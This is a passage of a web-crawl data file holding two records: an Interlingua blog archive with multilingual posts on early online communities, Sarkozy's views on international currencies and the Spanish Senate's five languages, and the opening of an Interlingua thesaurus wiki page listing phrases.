helicopter, and seventy-two hours later the engine was in Nepal.\"\nBrilliant decided that this kind of electronic social linkage could form the basis for a commercial enterprise. And when he suggested this possibility to Stewart Brand, he agreed.\n\"The primitive system we developed was the forerunner of today's social networks.\" Brand said. \"You could get something going with nothing but a rented machine, which we got from Larry, and some kludgy software.\"\nThe Well joined hackers, hippies, and San Francisco Bay Area writers in online conversations that dealt with issues ranging from technology and politics to the meaning of life. After meeting online, the members of our community eventually started to party, a first sign that the real and virtual worlds could merge.\n\"We got to know each other online before we met face to face,\" said Howard Rheingold, who coined the term \"virtual community\" and an influential member of the Well. \"A lot of face to face communication turned into relationships. People met and got married, and marriages also were broken up. When people among us got sick they were supported, and when they were dying, they got help.\"\nThe Well expanded when it became a meeting place for Deadheads, fans of the rock band the Grateful Dead. It also gave John Perry Barlow, a lyricist of the band and later creator of the Electronic Frontier Foundation, his first introduction to online communities.\nBut it was not only in California that the idea to meet and socialize online emerged. In Europe, Britain's Prestel and France's Minitel gave millions of phone users their first introduction to on-line communication.\nIn many other places, Bulletin Board Systems (BBSs) became a center of intense communication on different topics for anyone who had a personal computer connected to a modem.\nJason Scott--who as a teenager was a BBS user in White Plains, New York in the late 1980s--said it wasn't true that users of BBSs were misfits who lived their lives online. \"The computer was a means to an end,\" he explained. \"Since long-distance phone calls were very expensive, BBS systems were used locally. You could communicate with others, send messages, download files, and go with other users of these systems to a local pizzeria.\"\nLike many users of the first networks, Scott is an avid user of their modern equivalents. And Felsenstein met his wife online. \"I am convinced there is a lot of room for innovation in the virtual world,\" he said. \"I don't think we're using the best systems that could exist, and I believe that there will be systems that are much more intelligent and flexible in the future!\"\nPosted by hkyson at 4:35 AM\nTuesday, January 25, 2011\n(Languages of this post: Interlingua, Portuguese, English)\nLe presidente de Francia, Nicolas Sakozy, diceva que le surgimento de nove potentias economic \"inevitabilemente conducira al emergentia de nove monetas international\" usate in affaires commercial inter differente paises, conjunctemente con le dollar.\n\"Le dollar continuara a esser dominante, ma illo non essera le sol unitate monetari\", diceva Sarkozy, qui favori le internationalisation del nove monetas, como le yuan.\nPro le presidente francese, \"dicer que il ha un systema monetari international jam es un grave error\". Secundo ille, le existentia de ille systema terminava in 1971, con le multiplication del fluxos de capitales, le accumulation de reservas in alicun paises, e le surgimento de nove monetas.\nSarkozy anque diceva que al final de martio essera organisate un reunion sur le futuro de un nove systema monetari international que includera le G20--le gruppo del 29 plus grande economias del mundo, con le Union Europee, dicente que \"il es importante que ille evento occurre in China mesme.\"\n\"Le economia chinese es de tremende importantia international. Su grandor se multiplicava per un factor plus grande que duo inter 2000 e 2010\", ille diceva. \"E in 2050 China poterea esser le prime economia del mundo, con India como le tertie e le Brasil como le quarte, e iste rhythmo de crescimento exige un responsa realiste global.\"\nIlle anque reiterava su objectivo de crear un imposto sur transactiones financial. Le mensura, secundo ille, \"es importante, considerante le crise financial que nos ha suffrite. Illo anque es utile pro discoragiar le speculation, tanto como un forma efficace de trovar nove recursos pro le disveloppamento.\"\nSarkozi anque proponeva que le G20 elabora un guida de conducta pro meliorar le regulation del fluxos de capitales e le ampliation del rolo del Fundo Monetari International (FMI), que poterea assumer le rolo de controlar le disequilibrios global in relation al fluxos de capitales.\nIlle anque diceva que le G20 debe disveloppar mechanismos pro controlar le speculation in le precios del materias prime agricole. \"Si nos non face ullo, il ha le risco de nove revoltas de fame in le paises povre\", ille diceva, affirmante que le precios agricole in decembre passate jam ultrapassava le valores de 2008, quando occurreva protestos in diverse paises.\nSarkozy anque vole le regulation del mercatos de derivativos financial de productos agricole e un melior transparentia in le determination del quantitate total de iste productos in omne le mundo, le quales deberea haber un base commun de datos, como existe in le caso del petroleo.\nUltra le G20, Francia iste anno occupa le presidentia del G8, le gruppo de paises le plus industrialisate del mundo con Russia. Le slogan francese pro stimular le progresso inter le paises del G8 es \"un nove mundo con ideas nove\".\n---\nSarkozy vê como \"inevitável\" o surgimento de novas moedas internacionais\nO presidente da França, Nicolas Sarkozy, disse que o surgimento de novas potências econômicas \"irá conduzir inevitavelmente à emergência de novas moedas internacionais\" usadas em negócios entre diferentes países, juntamente com o dólar.\n\"O dollor continuará a ser dominante, mas não será a única unidade monetária\", disse Sarkozy, que favorece a internacionalização das novas moedas, como o yuan.\nPara o presidente francês, \"dizer que há um sistema monetário internacional já é um grave erro\". Segundo ele, esse sistema deixou de existir em 1971, com a multiplicação dos fluxos de capitais, o acúmulo de reservas em alguns países e o surgimento de novas moedas.\nSarkozy afirmou ainda que no final de março será organizada uma reunião sobre o futuro de um novo sistema monetário internacional que irá incluir o G20--o grupo das 19 maiores economias do mundo, com a União Europeia, dizendo que \"é importante que esse evento ocorra justamente na China\".\n\"A economia chinesa é de tremenda importância internacional. O seu tamanho mais que dobrou entre 2000 e 2010\", disse ele. \"E em 2050 a China poderia ser a primeira economia do mundo, com a Índia como a terceira e o Brasil como a quarta, e este ritmo de crescimento exige uma resposta realista global.\"\nEle também reiterou seu objetivo de criar um imposto sobre transações financeiras. A medida, segundo ele, \"é importante, considerando a crise financeira que sofremos. Também é útil para desencorajar a especulação, além de ser uma forma eficaz de encontrar novos recursos para o desenvolvimento.\"\nSarkozy também propôs que o G20 elabore um guia de conduta para melhorar a regulação dos fluxos de capitais e a ampliação do papel do Fundo Monetário Internacional (FMI), que poderia assumir o papel de controlar os desequilíbrios globais em relação aos fluxos de capitais.\nEle também disse que o G20 devem desenvolver mecanismos para controlar a especulação nos preços das matérias-primas agrícolas. \"Se não fizermos nada, há o risco de novas revoltas da fome nos países pobres\", disse, afirmando que os preços agrícolas em dezembro passado já ultrapassaram os valores de 2008, quando ocorreram protestos em vários países.\nSarkozy também quer a regulação dos mercados de derivativos financeiros de productos agrícolas e uma maior transparência na determinação da quantitade total destes productos em todo o mundo, os quais deveriam ter uma base comum de dados, como existe no caso do petróleo.\nAlém do G20, a França este ano ocupa a presidência do G8, grupo dos países mais industrializados do mundo mais a Rússia. O lema francês para estimular o progresso entre os países do G8 é \"um novo mundo com idéias novas\".\n---\nSarkozy sees as \"inevitable\" the rise of new international currencies\nFrench President Nicolas Sarkozy said that the emergence of new economic powers \"will inevitably lead to the emergence of new international currencies\" used in commerce between different countries, along with the dollar.\n\"The dollor will remain dominant, but it will not be the only monetary unit,\" said Sarkozy, who favors the internationalization of new currencies, such as the yuan.\nFor the French president, \"saying that there is already an international monetary system is a serious mistake.\" According to him, this system ceased to exist in 1971, with the proliferation of capital flows, reserve accumulation in some countries and the emergence of new currencies.\nSarkozy also said at the end of March that a meeting will be organized on the future of a new international monetary system that will include the G20 nations--the group of the nineteen largest economies, along with the European Union, saying that \"it is important that this meeting take place in China itself.\"\n\"The Chinese economy is of tremendous international importance. Its size more than doubled between 2000 and 2010,\" he said. \"And in 2050 China could be the first economy in the world, with India as the third and Brazil as the fourth, and this rate of growth demands an effective global response.\"\nHe also reiterated his goal of creating a tax on financial transactions. The measure, he said, \"is important, considering the financial crisis we have suffered. It is also useful for discouraging speculation, as well as being an effective way of finding new resources for development.\"\nSarkozy also proposed that the G20 prepare guidelines for improving the regulation of capital flows and expanding the role of the International Monetary Fund (IMF), which could assume the role of controlling global imbalances in relation to capital flows.\nHe also said that the G20 should develop mechanisms to control speculation in the prices of agricultural raw materials. \"If we do nothing, there is the risk of new hunger riots in poor countries,\" he said, arguing that agricultural prices last December have already surpassed the 2008 figures, when there were protests in several countries.\nSarkozy also wants to regulate the financial derivatives markets for agricultural products and greater transparency in determining the total amount of these products throughout the world, which should have a common data base, like the one for oil.\nBesides the G20, this year France holds the presidency of the G8 group of industrialized countries in the world plus Russia. The French motto to encourage progress among the G8 countries is \"a new world with new ideas.\"\nPosted by hkyson at 10:35 AM\n(Languages of this post: Interlingua, Spanish, English)\nComo altere politicos in omne le partes del mundo, le politicos espaiol ha grande problemas de arrivar a accordos sur le affaires del pais, ma nunc le membros del Senato pote deliberar in cinque linguas--con un traductor includite.\nA causa de un cambio in lor normas de procedimento, illes nunc pote utilisar ulle ex le linguas co-oficial del pais: catalan, euskera, galiciano, e valenciano, e, naturalmente anque le castiliano.\nLe defensores del inclusion official de iste linguas co-official affirma que illo reflecte le varietate linguistic del distincte regiones del pais, que le Constitution espaniol exige proteger e respectar.\nMa le criticos dice que le cambio converte le Senato a in un Turre de Babel e que le necessitate de provider traductiones simultanee durante le debattos es troppo costose pro le pais, specialmente durante un epocha de austeritate economic.\n\"Iste cambio es un symbolo de un pais sin prioritates clar que non sape como resolver su problemas de integration\", diceva Juan Carlos Rodríguez, un investigator de Analistas Socio-Politicos (Analystas Socio-Politic), qui investiga cambios social in le pais.\nLe tension inter le politicos espaniol sur le uso del linguas regional in Espana es un vetule problema in le pais que se ha intensificate multe vices in le passato. Francisco Franco, pro exemplo, essayava a suprimer le uso del catalan e diceva un vice que le lingua se trovava plen de merda.\nIn annos recente le debatto sur le linguas de Espania se ha concentrate in le uso de iste linguas in locos public o in le cameras de classes scholar in differente partes de Espania.\nMa le anno passate le Senato decideva que desde 2011 su membros poterea haber su debattos in iste cinque linguas, ma on utilisarea solmente le castiliano in le redaction de legislation o in le formulation de questiones al governamento.\nLe prime senator qui utilisava un del linguas regional de Espania esseva le socialista Ramón Aleu, qui parlava in catalan durante que su collegas usava auriculares pro ascoltar le traduction in castiliano de lo que ille diceva.\nSecundo le media espaniol, le costo annual del servicio de traduction pro le Senato essera le equivalente de unes US$473.000.\nIn le defensa del iniciativa, José Luis Rodríguez Zapatero, le prime ministro de Espania, diceva que le Senato es le camera que representa omne le partes de Espania e tunc debe reflecter le necessitates de omne le regiones del pais. \"Omne le linguas que on nunc pote utilisar in le Senato\", ille diceva, \"es linguas espaniol\".\nLe conservator Partito Popular, nonobstante, insiste que le institutiones statal debe usar solmente le castiliano como lingua commun e affirma que le necessitate de traductores in le Senato es un gasto innecessari. \"In un pais normal, isto non occurre\", diceva le leader del opposition, Mariano Rajoy.\nIn alicun partes de Espania, le linguas local generalmente se vide como un characteristica essential de lor proprie identitate, e 18% del population del pais considera un de iste linguas local como su lingua maternal, secundo un studio de Eurobarometro in 2005.\nMa Rodríguez de Analystas Socio-Politic diceva que ulle persona que viagia a Catalonia, Galicia, le Pais Basque, o le Communitate Valencian potera communicar se in castiliano sin incommoditate o le necessitate de traductores.\n\"Le societate espaniol es multo plus flexibile in su adaptation al differente linguas del pais que le classe politic\", ille diceva, \"e le politicos generalmente vide iste cosas in terminos de blanc e nigre.\"\n---\nEl Senado español ahora habla en cinco lenguas.\nAl igual que otros políticos en todas partes del mundo, los políticos españoles tienen grandes problemas de llegar a acuerdos sobre los asuntos del país, pero ahora los miembros del Senado pueden deliberar en cinco idiomas--con traductor incluido.\nDebido a un cambio en sus normas de procedimiento, ahora ellos pueden utilizar cualquiera de las lenguas co-oficiales del país: catalán, euskera, gallego y valenciano, y, naturalmente, también castellano.\nLos defensores de la inclusión oficial de estas lenguas cooficiales afirman que refleja la variedad lingüística de las distintas regiones del país, que la Constitución española pide proteger y respetar.\nPero los críticos dicen que el cambio convierte al Senado en una Torre de Babel y que la necesidad de proporcionar traducciones simultáneas durante los debates es demasiado costoso para el país, especialmente en una época de austeridad económica.\n\"Este cambio es un símbolo de un país sin prioridades claras que no sabe cómo resolver sus problemas de integración\", dijo Juan Carlos Rodríguez, investigador de Analistas Socio-Políticos, que investiga cambios sociales en el país.\nLa crispación entre los políticos españoles sobre el uso de las lenguas regionales en España es un viejo problema en el país que se ha intensificado muchas veces en el pasado. Francisco Franco, por ejemplo, trató de suprimir el uso del catalán y dijo una vez que la lengua estaba llena de mierda.\nEn los últimos años el debate sobre las lenguas de España se ha concentrado en el uso de estos idiomas en lugares públicos o en las aulas en diferentes partes de España.\nPero el año pasado el Senado decidió que a partir de 2011 sus miembros podrían llevar a cabo los debates en estos cinco idiomas, pero solamente se utilizaría el castellano en la redacción de la legislación o en la formulación de preguntas al gobierno.\nEl primer senador que utilizó una de las lenguas regionales de España fue el socialista Ramón Aleu, quien habló en catalán mientras que sus colegas usaban auriculares para escuchar la traducción en castellano de lo que dijo.\nSegún medios españoles, el costo annual del servicio de traducción para el Senado será el equivalente a unos US$473.000.\nEn la defensa de la iniciativa, José Luis Rodríguez Zapatero, el primer ministro de España, dijo que el Senado es la cámara que representa a todas las partes de España y por lo tanto debe reflejar las necesidades de todas las regiones del país, que incluyen su derecho a utilizar sus idiomas diferentes. \"Todos los idiomas que se pueden utilizar ahora en el Senado\", dijo, \"son lenguas españolas\".\nEl conservador Partido Popular, sin embargo, insiste en que las instituciones estatales deben usar sólo el castellano como lengua común y afirma que la necesidad de traductores en el Senado es un gasto innecesario. \"En un país normal esto no ocurre\", dijo el líder de la oposición, Mariano Rajoy.\nEn algunas partes de España, las lenguas locales suelen verse como una característica esencial de su propia identidad, y 18% de la población del país considera uno de estos idiomas locales como su lengua maternal, según un estudio de Eurobarómetro en 2005.\nPero Rodríguez, de Analistas Socio-Politicos, dijo que cualquiera que viaje al Cataluña, Galicia, el País Vasco o la Comunidad Valenciana podrá comunicarse en castellano sin inconvenientes ni necesidad de traductores.\n\"La sociedad española es mucho más flexible para adaptarse a las diferentes lenguas del país que la clase política\", dijo, \"y los políticos suelen ver estas cosas en términos de blancos y negros.\"\n---\nThe Spanish Senate now speaks five languages.\nLike other politicians throughout the world, Spanish politicians have big problems in reaching agreement on national affairs, but now the Senate can deliberate in five languages--with a translator included.\nBecause of a change in their procedural rules, they can now use any of the co-official languages of the country: Catalan, Basque, Galician, and Valencian, and, quite naturally, Castilian also.\nProponents of the formal inclusion of these co-official languages claim that it reflects the linguistic diversity of the different regions of the country, for which the Spanish Constitution calls for protection and respect.\nBut critics say the change turns the Senate into a Tower of Babel, and the need to provide simultaneous translations during the debates is too costly for the country, especially during a time of economic austerity.\n\"This change is a symbol of a country with no clear priorities which does not know how to solve integration problems,\" said Juan Carlos Rodriguez, a researcher at Analistas Socio-Políticos (Socio-Political Analysts), which studies social changes the country.\nThe tension between Spanish politicians on the use of Spanish regional languages is an old problem in the country that has flared up many times in the past. Francisco Franco, for example, tried to suppress the use of Catalan and once said that the language was full of shit.\nIn recent years debate about Spain's languages has concentrated on the use of these languages in public places or in classrooms in different parts of Spain.\nBut last year the Senate decided that starting in 2011 its members would be able to conduct debates in these five languages but that only Castilian would be used in drafting legislation or in formulating questions to the government.\nThe first senator who used one of Spain's regional languages was the socialist Ramon Aleu, who spoke in Catalan while his colleagues used headphones to hear the translation into Castillan of what he said.\nAccording to Spanish media, the annual cost of the translation service for the Senate is the equivalent of about $473,000.\nIn defense of the initiative, Jose Luis Rodriguez Zapatero, the prime minister of Spain, said that the Senate is the chamber that represents all parts of Spain and therefore must reflect the needs of all the regions of the country, which include their right to use their different languages. \"All of the languages that can now be used in the Senate,\" he said,\" are Spanish languages.\"\nThe conservative Partido Popular, however, insists that state institutions should use only Castilian as a common language and claims that the need for translators in the Senate is an unnecessary expense. \"In a normal country this does not occur,\" said opposition leader Mariano Rajoy.\nIn some parts of Spain, local languages are often seen as an essential feature of their identity, and 18% of the population considers one of the local languages to be their mother tongue, according to a Eurobarometer survey in 2005.\nBut Rodriguez, of Analistas Socio-Políticos, said that anyone who travels to Catalonia, Galicia, the Basque Country, or the Valencian community can communicate smoothly with no need for translators.\n\"Spanish society is much more flexible in adjusting to the different languages of the country than the political class,\" he said, \"and politicians generally see these things in terms of black and white.\"\nPosted by hkyson at 6:58 AM","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.interlinguamultilingue.blogspot.com\/2011_01_01_archive.html","date":"2013-05-22T03:39:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701281163\/warc\/CC-MAIN-20130516104801-00029-ip-10-60-113-184.ec2.internal.warc.gz","language":"ina","language_score":0.5252603889,"language_script":"Latn","minhash_cluster_size":46,"top_langs":"{\"ina_Latn_score\": 0.5252603888511658, \"por_Latn_score\": 0.11158231645822525, \"spa_Latn_score\": 0.07769417017698288, \"eng_Latn_score\": 0.07227198779582977, \"cbk_Latn_score\": 0.05023569241166115, \"srd_Latn_score\": 0.011189806275069714}","num_words":22227,"character_repetition_ratio":0.031,"word_repetition_ratio":0.005,"special_characters_ratio":0.191,"stopwords_ratio":0.03,"flagged_words_ratio":0.0,"lang_id_score":0.578,"perplexity_score":2328.7,"cluster_detection":-1} +{"text":"Thesauro a Modificar Editor visual Historia Discussion0 9 804paginas in iste wiki Thesauro A AEDO AN AQUA B C CARTA CI COMEDIA CONNATURAL CORPORE D DESOLAR DISGUSTAR E ES F G H I INDUBITABILE INTER J K L M ME MOA N O P PE PI POPULO PRO Q R REGULA RETRO S SE SO SU T TOALIA U V W X Y Z AModificar aModificar a prep a aere conditionateModificar a aere conditionato a altor de homineModificar a altor de pectoreModificar a altor de spatulaModificar a altor de su spatulasModificar a altor de sus spatulas a ambe lateresModificar a ambos lateres a bandieras displicateModificar a bandieras displicatas a bandieras displicate e tambur battenteModificar a bandieras displicatas e \/ et tambur battente a bassoModificar a basso cappello!Modificar a basso le bomba!Modificar a basso la bomba! a basso le dictator!Modificar a basso le traitores!Modificar a basso los traitores! a bastantiaModificar a bordo deModificar a breve distantiaModificar a bucca aperteModificar a bucca aperta a budget reduciteModificar a budget reducito a capite discoperteModificar a capite discoperta a capite nudeModificar a capite nuda a cappellaModificar a cata instanteModificar a cata momentoModificar a cata passoModificar a cata uno de nos on ha date cento florinosModificar a cata uno de nos on ha dato(s) cento florinos a causa deModificar (a_causa_de \/ per) certe circumstantiasModificar (a_causa_de \/ per) certas circumstantias a causa del hora avantiateModificar a causa de la hora avantiata a cavalloModificar a celo aperteModificar a celo aperto a chordas cruciateModificar a chordas cruciatas a choroModificar a circa duo kilometrosModificar a circa duos kilometros a condition queModificar a contar deModificar a conto deModificar a contrafiloModificar a contraluceModificar a contratemporeModificar a corde tenereModificar a corde tenero a costo deModificar a curte terminoModificar a curto termino a dece staminesModificar a dentatura dupleModificar a dentatura dupla a derectaModificar a dicer le veritateModificar a dicer la veritate a dicer verModificar a dicer vero a dies alterneModificar a dies alternos a discretionModificar a disgustoModificar a distantia respectabileModificar a distantia respectuoseModificar a distantia respectuosa a domoModificar a duo horas preciseModificar a duas horas precisas a duo passosModificar a duos passos a duo taliasModificar a duas talias a duo vocesModificar a duas voces a duple effectoModificar a duplo effecto a duple taliaModificar a dupla talia a effecto rapideModificar a effecto rapido a effecto retroactiveModificar a effecto retroactivo a electionModificar a exception deModificar a exclusion deModificar a falta deModificar a fin de (que)Modificar a flor deModificar a folios mobileModificar a folios mobiles a fortia deModificar a fortiori [L]Modificar a fundoModificar a gradoModificar a grande distantiaModificar a grano finModificar a grano fino a guisa deModificar a indice nModificar a initiativa deModificar a instigation deModificar a intervallos regularModificar a intervallos regulares a invitation deModificar a iste hora le traffico se congestionaModificar a ista hora le traffico se congestiona a jornos alterneModificar a jornos alternos a judicar per su parolasModificar a judicar per sus parolas à la [F]Modificar à la carte [F]Modificar a lineas transversalModificar a lineas transversales a locarModificar a longe terminoModificar a longo termino a luce diurneModificar a luce diurna a lumine diurneModificar a lumine diurna A majusculeModificar A majuscula a malias finModificar a malias finas a malias stricteModificar a malias strictas a mano armateModificar a mano armata a medie bustoModificar a medio busto a medie camminoModificar a medio cammino a medie costaModificar a media costa a medie fortiaModificar a media fortia a medie mastModificar a medio mast a medie matinoModificar a medio matino a medie precioModificar a medio precio a medie repastoModificar a medio repasto a medie strataModificar a media strata a medie temporeModificar a medio tempore a medie terminoModificar a medio termino a medie viaModificar a media via a medie voceModificar a media voce a mediedieModificar a mediodie a medietateModificar a medietate clauditeModificar a medietate claudito(s) \/ claudita(s) a medietate clauseModificar a medietate clauso(s) \/ clausa(s) a medietate cociteModificar a medietate cocito(s) \/ cocita(s) a medietate de \/ del altorModificar a medietate de \/ del camminoModificar a medietate de precioModificar a medietate de septembreModificar a medietate ebrieModificar a medietate ebrio(s) \/ ebria(s) a medietate folleModificar a medietate folle(s) a medietate obscurModificar a medietate obscuro(s) \/ obscura(s) a meridieModificar a mesura queModificar a mi etateModificar a mi levaModificar a mi sinistraModificar a minus queModificar a minusculeModificar a minuscula a monteModificar a necun conditionModificar a necuna condition a necun costoModificar a necun precioModificar a nivello ministerialModificar a nomine deModificar a novem horas del matinoModificar a oculo nudeModificar a oculo nudo a oculos aperteModificar a oculos apertos a omne costoModificar a omne instanteModificar a omne passoModificar a omne propositoModificar à outrance [F]Modificar a parteModificar a parte isto, isto a parteModificar a partir deModificar a partir de oraModificar a passo de tortucaModificar a pedes nudeModificar a pedes nudos a penaModificar a pena ille pote mantener le palpebras aperteModificar a pena ille pote mantener las palpebras apertas a perdita de vistaModificar a petition generalModificar a pilo lisieModificar a pilo lisie \/ lisio a pilo resistenteModificar a plen manosModificar a plenas manos a plen velaModificar a plena vela a plen voceModificar a plena voce a plumboModificar a portas clauditeModificar a portas clauditas a portas clauseModificar a portas clausas a portata deModificar a portata de totesModificar a portata de totos \/ totas a portata de voceModificar a posteriori [L]Modificar a precio de amicoModificar a precio de costoModificar a precio derisoriModificar a precio derisorio a precio fixeModificar a precio fixo a precio reduciteModificar a precio reducito a precio reducteModificar a precio reducto a precio vilModificar a preferentiaModificar a presso de BilthovenModificar a presso del nederlandesesModificar a presso de los nederlandeses a prime reguardoModificar a primo reguardo a prime vistaModificar a prima vista a priori [L]Modificar a proba \/ prova de acido(s)Modificar a proba \/ prova de aereModificar a proba \/ prova de aquaModificar a proba \/ prova de balla(s)Modificar a proba \/ prova de bomba(s)Modificar a proba \/ prova de calorModificar a proba \/ prova de derapageModificar a proba \/ prova de effractionModificar a proba \/ prova de focoModificar a proba \/ prova de incendioModificar a proba \/ prova de ruitosModificar a proba \/ prova de tineasModificar a proba \/ prova de vibrationesModificar a profusionModificar a proportionModificar a proposition deModificar a proposito!Modificar a proposito deModificar a proposito, que es tu nomine?Modificar a qualcunque horaModificar a qualcunque offerta acceptabileModificar a qualcunque precioModificar a qualque parteModificar a quatro patasModificar a quatro vocesModificar a que distantia?Modificar a qui es le culpa?Modificar a qui est la culpa? a qui le torno?Modificar a rail dupliceModificar a ration de un dollar le horaModificar a ration de un dollar la hora a refrigeration per aereModificar a requesta repetiteModificar a requesta repetita a retroModificar a retro!Modificar a revider!Modificar a risco deModificar a risco del vitaModificar a risco de la vita a sanguine caldeModificar a sanguine caldo a sanguine calideModificar a saguine calido a sanguine frigideModificar a sanguine frigido a saperModificar a scopo bellicModificar a scopo bellico a sino nudeModificar a sino nudo a solmente cinque kilometrosModificar a solamente cinque kilometros a su grande surprisaModificar a succussasModificar a tal horaModificar a tambur battenteModificar a tempoModificar a temporeModificar a tempore de musicaModificar a tempore debiteModificar a tempore debito a testa discoperteModificar a testa discoperta a testa nudeModificar a testa nuda a tiro rapideModificar a tiro rapido a titulo deModificar a titulo de comparationModificar a titulo personalModificar a titulo principalModificar a tornoModificar a torso nudeModificar a torso nudo a tortoModificar a tote costoModificar a toto costo a tote gasModificar a toto gas a tote vaporModificar a toto vapor a tote velocitateModificar a tota velocitate a transversoModificar a transverso le etatesModificar a transverso las etates a tres horas del postmeridieModificar a tres vocesModificar a ubiModificar a ultime horaModificar a ultima hora a ultrantiaModificar a un alte gradoModificar a un alto grado a un etate avantiateModificar a una etate avantiata a un hora intempestiveModificar a una hora intempestiva a un jecto de petraModificar a un metro de distantiaModificar a un momento inopportunModificar a un momento inopportuno a un momento posteriorModificar a unanimitate de votosModificar a valleModificar a venderModificar a via ferree dupleModificar a via ferrea dupla a via ferree dupliceModificar a via ferrea duplice a vicesModificar a vistaModificar a vista de aveModificar a vista de oculoModificar a vita o morteModificar a vita aut morte a volo de aveModificar a voluntateModificar a vostre marca(s)! preste! partir!Modificar a vostra(s) marca(s)! preste(s)! partir! ab prepModificar ab initioModificar ab ovo [L]Modificar ab sinistra verso dextera \/ dextraModificar abacaModificar abacoModificar abandonamentoModificar abandonarModificar abandonar al oblidoModificar abandonar al oblivionModificar abandonar le domicilio conjugalModificar abandonar le governamentoModificar abandonar le luctaModificar abandonar la lucta abandonar le neutralitateModificar abandonar la neutralitate abandonar le partitoModificar abandonar le poterModificar abandonar le studiosModificar abandonar los studios abandonar le via recteModificar abandonar la via recta abandonar omne sperantiaModificar abandonar se a un vitioModificar abandonar su auto \/ automobile in le niveModificar abandonar su auto \/ automobile in la nive abandonar su benesModificar abandonar sus benes abandonar su deberesModificar abandonar sus deberes abandonar su infantesModificar abandonar sus infantes abandonar su isolamentoModificar abandonar su sponsa \/ sposaModificar abandonar tote sperantiaModificar abandonar tota sperantia abandonar un babyModificar abandonar un bebeModificar abandonar un functionModificar abandonar una function abandonar un hypothese \/ hypothesisModificar abandonar una hypothese \/ hypothesis abandonar un ideaModificar abandonar una idea abandonar un projecto (de lege)Modificar abandonar un regionModificar abandonar una region abandonar un subjectoModificar abandonar un urbe al inimicoModificar abandonar una urbe al inimico abandonateModificar abandonato(s) \/ abandonata(s) abandonate a se mesmeModificar [abandonato(s) a se mesmo(s)] \/ [abandonata(s) a se mesma(s)] abandonate de Deo e del hominesModificar [abandonato(s) \/ abandonata(s)] de Deo e \/ et de los homines abandonate de totesModificar [abandonato(s) \/ abandonata(s)] de totos abandonoModificar abandono de territorioModificar abandono del domicilio conjugalModificar abandono del hostilitatesModificar abandono de las hostilitates abasiaModificar abassamentoModificar abassamento cryoscopic del puncto de congelamentoModificar abassamento cryoscopico del puncto de congelamento abassamento de salarioModificar abassamento de un muroModificar abassamento de un perpendiculoModificar abassamento del nivello de un liquidoModificar abassamento del nivello del vitaModificar abassamento del nivello de la vita abassamento del oculosModificar abassamento de los oculos abassamento del palpebrasModificar abassamento de las palpebras abassamento del poter de compraModificar abassamento del puncto de fusionModificar abassamento del salariosModificar abassamento de los salarios abassamento del tarifasModificar abassamento de las tarifas abassamento del temperaturaModificar abassamento de la temperatura abassamento del velasModificar abassamento de las velas abassamento del voceModificar abassamento de la voce abassamento phreaticModificar abassarModificar abassar le calefactionModificar abassar la calefaction abassar le capiteModificar abassar la capite abassar le grado de un equationModificar abassar le grado de una equation abassar le nivello del vitaModificar abassar le nivello de la vita abassar le oculosModificar abassar los oculos abassar le palpebrasModificar abassar las palpebras abassar le preciosModificar abassar los precios abassar le salariosModificar abassar los salarios abassar le tarifasModificar abassar las tarifas abassar le temperaturaModificar abassar la temperatura abassar le testaModificar abassar la testa abassar le velasModificar abassar las velas abassar le voceModificar abassar la voce abassar le volumineModificar abassar se a compromissosModificar abassar un cifraModificar abassar una cifra abassar un equationModificar abassar una equation abassar un muroModificar abassar un perpendiculoModificar abassar un perpendiculo del summitate de un triangulo al latere oppositeModificar abassar un perpendiculo de la summitate de un triangulo al latere opposito abat-jour [F]Modificar abatterModificar abatter arboresModificar abatter un arboreModificar abatter un avionModificar abatter un casaModificar abatter una casa abatter un cavallo vulnerateModificar abatter un cavallo vulnerato abatter un muroModificar abatter un vaccaModificar abatter una vacca abattimentoModificar abattiteModificar abattito(s) \/ abattita(s) abattitorModificar abattitor de arboresModificar abattitor de cavallosModificar abattitorioModificar abattitorio de cavallosModificar abaxialModificar abaxial(es) abbateModificar abbate [le abbate mitrateModificar abbate mitrato abbate premonstratenseModificar abbatessaModificar abbatiaModificar abbatia de benedictinosModificar abbatialModificar abbatial(es) abbordabileModificar abbordabile(s) abbordageModificar abbordarModificar abbordar un naveModificar abbordar una nave abbordar un persona con un cosaModificar abbordar una persona con una cosa abbordar un persona in le strataModificar abbordar una persona in la strata abbordar un problema con firmessaModificar abbordar un subjectoModificar abbordar un themaModificar abbordatorModificar abbordoModificar abbordo [le abbreviamentoModificar abbreviamento de un articuloModificar abbreviamento del agoniaModificar abbreviamento de la agonia abbreviamento del tormentos del agoniaModificar abbreviamento de los tormentos de la agonia abbreviarModificar abbreviar le suffrentias de un animalModificar abbreviar las suffrentias de un animal abbreviar le viageModificar abbreviar su vitaModificar abbreviar un articulo troppo longeModificar abbreviar un articulo troppo longo abbreviar un parolaModificar abbreviar una parola abbreviar un textoModificar abbreviateModificar abbreviato(s) \/ abbreviata(s) abbreviationModificar abbreviativeModificar abbreviativo(s) \/ abbreviativa(s) abbreviatorModificar abbreviaturaModificar abcModificar abc [le abdicanteModificar abdicante(s) abdicarModificar abdicar al coronaModificar abdicar a la corona abdicar al thronoModificar abdicar su benesModificar abdicar sus benes abdicar su responsabilitatesModificar abdicar sus responsabilitates abdicar un ideaModificar abdicar una idea abdicatariModificar abdicatario(s) \/ abdicataria(s) abdicationModificar abdicativeModificar abdicativo(s) \/ abdicativa(s) abdicatorModificar abdicatoriModificar abdicatorio(s) \/ abdicatoria(s) abdominalModificar abdominal(es) abdomineModificar abdomine penduleModificar abdomine pendulo abdominoseModificar abdominoso(s) \/ abdominosa(s) abducerModificar abductionModificar abductorModificar abductor del polliceModificar abeceModificar abece [le abecedarioModificar abeliaModificar abelianModificar abeliano(s) \/ abeliana(s) aberranteModificar aberrante(s) aberrantiaModificar aberrarModificar aberrationModificar aberration chromaticModificar aberration chromatica aberration chromatidicModificar aberration chromatidica aberration chromosomicModificar aberration chromosomica aberration de radios luminoseModificar aberration de radios luminosos aberration de sphericitateModificar aberration del comportamentoModificar aberration del intendimentoModificar aberration in le comptutatorModificar aberration in le computerModificar aberration mentalModificar aberration sphericModificar aberration spherica aberrationes astigmaticModificar aberrationes astigmaticas abhorrenteModificar abhorrente(s) abhorrentiaModificar abhorrerModificar abhorrer le dishonestateModificar abhorrer la dishonestate abhorrer le dishonestitateModificar abhorrer la dishonestitate abhorrer le mentitaModificar abhorrer la mentita abhorribileModificar abhorribile(s) abhorrimentoModificar abiberarModificar abiberar su cavalloModificar abiberatorioModificar abieteModificar abiete [le abiete albeModificar abiete albo abiete argenteeModificar abiete argenteo abiete blancModificar abiete blanco abiete 